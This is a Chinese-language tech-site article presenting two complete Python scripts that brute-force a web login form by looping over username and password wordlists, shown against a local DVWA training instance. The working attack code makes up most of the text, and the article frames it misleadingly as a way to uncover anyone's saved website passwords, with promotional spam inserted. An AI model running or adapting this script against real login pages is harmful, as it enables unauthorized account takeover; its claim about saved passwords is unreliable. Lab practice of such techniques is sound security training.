简简单单几行Python代码就能暴力破解网站登录密码,真有这么强吗?
来源:http://www.tudoupe.com时间:2022-02-17
前言
你以为你各大网站自动保存的密码都只有你自己知道吗?其实想要知道你在网站上面保存的密码非常简单,只需要几行代码就能搞定,不信?那就来看看吧
关键代码解释
url指定url地址
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
header设置请求头
header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'}
payload设置请求参数
payload = {'username':username,'password':password,"Login":'Login'}
这一行的作用是作一次get请求,响应信息被变量Response接收
Response = requests.get(url,params=payload,headers=header)
这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解
这种方式和burp的Intruder模块的Cluster bomb攻击方式一样
for admin in open("C:\Users\admin\Documents\字典\账号.txt"): for line in open("C:\Users\admin\Documents\字典\密码.txt"):
然后把循环结果存放到csv文件里,用逗号分割数据
Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度
result = str(Response.status_code) + ',' + username + ',' + password + ',' + str(len(Response.content))f.write(result + 'n')
完整代码
方法一
登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。
import requestsurl = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}f = open('result.csv','w')f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + 'n')for admin in open("C:\Users\admin\Documents\字典\账号.txt"): for line in open("C:\Users\admin\Documents\字典\密码.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) result = str(Response.status_code) + ',' + username + ',' + password + ',' + str(len(Response.content)) f.write(result + 'n')print('n完成')
运行结果
运行
这就是脚本发送的数据包
查看结果
查看包长度与其他不同的数据,登录测试
方法二
这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。另外,搜索公众号Java架构师技术后台回复“面试题”,获取一份惊喜礼包。
主要改动在第17到20行
import requestsurl = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}f = open('result.txt','w')for admin in open("C:\Users\admin\Documents\字典\账号.txt"): for line in open("C:\Users\admin\Documents\字典\密码.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) if not(Response.text.find('Welcome to the password protected area')==-1): result = username + ':' + password print(result) f.write(result + 'n') print('n完成')
运行结果
这不就到手了吗?需要完整项目代码或思路的点这里获取
上一篇:巴菲特再现神操作:抢在微软前入股动视暴雪近10亿美元!
下一篇:没有了
相关新闻
- 2022-02-17 巴菲特再现神操作:抢在微软前入
- 2022-02-17 微软:Win11 你的手机可更快地获取
- 2022-02-17 《我的世界:地下城》玩家达1500万
- 2022-02-17 2022年的元宇宙:抢人、烧钱、突破
- 2022-02-17 联想小新七款笔记本降价促销;联
- 2022-02-17 美股资管巨头陆续披露最新持仓!
- 2022-02-17 微软 Win11 任务栏拖放功能发布!
- 2022-02-17 抢在微软收购前,巴菲特10亿美元抄
- 2022-02-17 败家归败家,但这次ROG往Windows平板
- 2022-02-16 神谷英树:我一直想继续做《龙鳞
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
